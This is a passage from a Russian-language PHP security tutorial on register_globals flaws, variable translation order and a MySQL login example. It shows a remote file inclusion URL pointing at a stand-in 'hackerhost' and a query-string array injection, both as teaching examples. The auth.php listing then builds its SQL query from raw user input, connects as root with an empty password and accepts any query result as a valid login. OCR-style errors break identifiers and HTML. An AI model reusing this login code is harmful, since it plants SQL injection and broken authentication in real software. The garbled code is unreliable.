Для иллюстрации, как можно получить уязвимый сценарий, рассмотрим пример:
<?php
//*** здесь устанавливается переменная $root
//*** ...
// запускаем другой скрипт, который ищем в каталоге $root
include $root.»/library.php»;
?>
Если в коде, помеченном выше звездочками, переменная $root по ошибке окажется не установленной (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в браузере:
http://example.com/scnpt.pbp?root=http://hackerhost
Здесь example.com — это машина, на которой располагается скрипт, a hackerhost — компьютер злоумышленника, на котором также установлен Web-сервер.
Рассмотрим подробнее, что же происходит. В скрипте значение переменной $root подставляется в строку и выполняется команда:
include “http://hackerhost/library.php”;
В большинстве случаев это заставляет РНР загрузить файл library.php с удаленной машины и передать ему управление. Иными словами, записав в файл library.php на своей машине любой код, хакер может запустить его на сервере example.com.
3.2. Второй пример уязвимости
Предыдущий пример может показаться надуманным. Таким он и является: данная проблема может обнаружиться лишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в известном форуме phpBB уязвимость описанного типа обнаруживалась и исправлялась несколько раз.
Более простой пример связан с массивами. Многие люди пишут в своих программах:
$artefacts[’rabbit’] = “white”;
$artefacts[’cat’] = “black”;
Они не задумываются над тем, что перед этим надо бы очистить массив $artefacts: считают, что он и так пуст в начале программы. Корректный же код должен выглядеть так:
$artefacts = array();
$artefacts[’rabbit’] = “white”;
$artefacts[’cat’] = “black”;
К чему ведет пропуск $artefacts = array(); в начале скрипта? К тому, что, передав специально подобранную командную строку, хакер может добавить в массив $artefacts произвольные данные. Например, он запустит сценарий так:
http://example.com/script.php?artefacts[reboot]=yes
При этом в программе с пропущенным обнулением массива $artefacts в него будут помещены не два, а три элемента (включая reboot=>yes). Скрипт никак на это не рассчитывает, что, в свою очередь, порождает потенциальные проблемы с безопасностью.
Если глобальные переменные не создаются, то описанные уязвимости исчезают. Во всяком случае, так решили разработчики РНР.
Всегда необходимо проверять код, чтобы гарантировать, что любые переменные, отправляемые из web-браузера, соответствующим образом будут проверены. Задавайте себе следующие вопросы:
● Будет ли данный скрипт воздействовать только на предполагаемые файлы?
● Могут ли быть обработаны необычные или нежелательные данные?
● Может ли данный скрипт быть использован несоответствующим образом?
● Может ли он быть использован в сочетании с другими скриптами негативным образом?
● Будет ли выполнен адекватный логинг для каждой транзакции?
Задав себе эти вопросы при написании скрипта, а не потом, вы предотвратите возможную переделку для повышения защищённости. Вы не гарантируете полную безопасность вашей системы, но можете значительно повысить её.
Возможно, вы захотите также предусмотреть отключение register_globals, magic_quotes или других установок, которые могут создать у вас неуверенность в проверке, источнике или значении данной переменной. Работа с PHP в режиме error_reporting(E_ALL) также может помочь, предупреждая вас о переменных, используемых до проверки или инициализации (что предотвратит операции с необычными данными).
3.3. Порядок трансляции переменных
Теперь рассмотрим, в каком порядке записываются данные в массив $_REQUEST, a также в глобальные переменные, если включен режим register_giobals. Этот порядок, вообще говоря, важен.
Например, пусть у нас есть параметр A=10, поступивший из query_string, параметр A=20 из POST-запроса (как мы помним, даже при POST-запросе может быть передана query_string), и cookieA=30. По умолчанию трансляция выполняется в порядке GET-POST-COOKIE (GPC), причем каждая следующая переменная перекрывает предыдущее свое значение (если оно существовало). Итак, в переменную $A сценария и в $_REQUEST[ 'A' ] будет записано 30, поскольку cookie перекрывает post и get.
В режиме register_giobals в глобальные переменные попадают также значения переменных окружения. Записываются они в соответствии со схемой ENVIRON-MENT-GET-POST-COOKIE (EGPC). Иными словами, переменные окружения в режиме register_giobals перекрываются даже GET-данными, и злоумышленник может «подделать» любую из них, передав соответствующую переменную query_string при запуске сценария.
Поэтому, если не хотите проблем, даже в режиме register_globals обращайтесь к переменным окружения только через:
$_SERVER['переменная'] или getenv('переменная')
4. ПРИЛОЖЕНИЯ, ХРАНЯЩИЕ ДАННЫЕ О РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ В БАЗЕ ДАННЫХ MySQL
Хранение информации о данных регистрации осуществляется в базе данных MySQL. Пример включает в себя три скрипта. В первом, auth.php, происходит регистрация пользователей. Второй скрипт, members_only.php, предоставляет информацию, доступную только для зарегистрированных пользователей. И, наконец, в третьем скрипте, destroy.php, реализован выход из системы.
Для работы необходимо создать базу данных auth. Это можно сделать, выполнив SQL-запрос, текст которого приведен в листинге
Листинг auth.txt. Создание базы данных
create database auth;
use auth;
create table auth
(
name varchar(10) not null,
pass varchar(30) not null,
primary key (name)
);
Чтобы создать в системе базу данных, нужно войти в систему MySQL и ввести в командной строке MySQL:
mysql> createdatabaseauth;
После этого следует набрать:
mysql>use auth;
База данных создана:
Следующий этап настройки базы данных — создание таблиц. Это делается при помощи SQL-команды CREATETABLE:
create table auth
(
name varchar(10) not null,
pass varchar(30) not null,
primary key (name)
);
Таблицы базы данных созданы:
Можно просмотреть перечень таблиц созданной базы данных c помощью оператора SHOW:
Можно отобразить информацию о столбцах всех таблиц c помощью оператора DESCRIBE:
Для просмотра данных, сохраненных в каждой таблице, можно применить оператор SELEKT:
Листинг auth.php. Код скрипта для регистрации пользователя
<?
$dblocation = “127.0.0.1”;
$dbname = “local”;
$dbuser = “root”;
$dbpasswd = “”;
session_start();
if(isset($HTTP_POST_VARS[’userid’]) &&
isset($HTTP_POST_VARS[’password’]))
{
$userid = $HTTP_POST_VARS[’userid’];
$password = $HTTP_POST_VARS[’password’];
$db_connect=mysql_connect($dblocation, $dbuser, $dbpasswd);
mysql_select_db(‘auth’,$db_connect);
$query = “select * from auth where name=’”.$userid.”’
and pass = password(‘$password’);”;
$result = mysql_query($query,$db_connect);
if ($result)
{
$HTTP_SESSION_VARS[’valid_user’] = $userid;
}
}
?>
<html>
<body>
<h1> Страница регистрации </h1>
<?
if (isset($HTTP_SESSION_VARS[’valid_user’]))
{
echo ‘Вызарегистрированыкак ‘.$HTTP_SESSION_VARSI[’valid_user’].
‘<br />’;
echo ‘<a href=”destroy.php”>Bыход</a><br />’;
}
else
{
if (isset($userid))
{
echo(“Регистрацияневозможна”);
}
?>
<form method=”post” action=”auth.php”>
<table>
<tr><td>Имя: </td>
<td><input type=”text” name=”userid”</td></tr>
<tr><td>Пароль: </td>
<td><input type=”password” name=”password”></td></tr>
<tr><td colspan=2><input type=submit value=’Зарегистрировать ‘>
</td></tr>
</table></form>
<?
}
?>
<br>
<a href =»members_only.рhр»> Только для зарегистрированных пользователей </а>
</body>
</html>
В результате выполнения этого скрипта, если пользователь еще не зарегистрирован, для него отображается входная страница регистрации:
После того как посетитель введет свои данные и зарегистрируется, ему будет выдано сообщение об успешной регистрации:
Если регистрация, по каким – либо причинам не удалась, можно вернуться назад на страницу регистрации:
Если регистрация удалась, то посетитель может попасть на страницу для зарегистрированных пользователей, код которой реализован в скрипте members_only.php.
Листинг members_only.php. Код скрипта для страницы зарегистрированных пользователей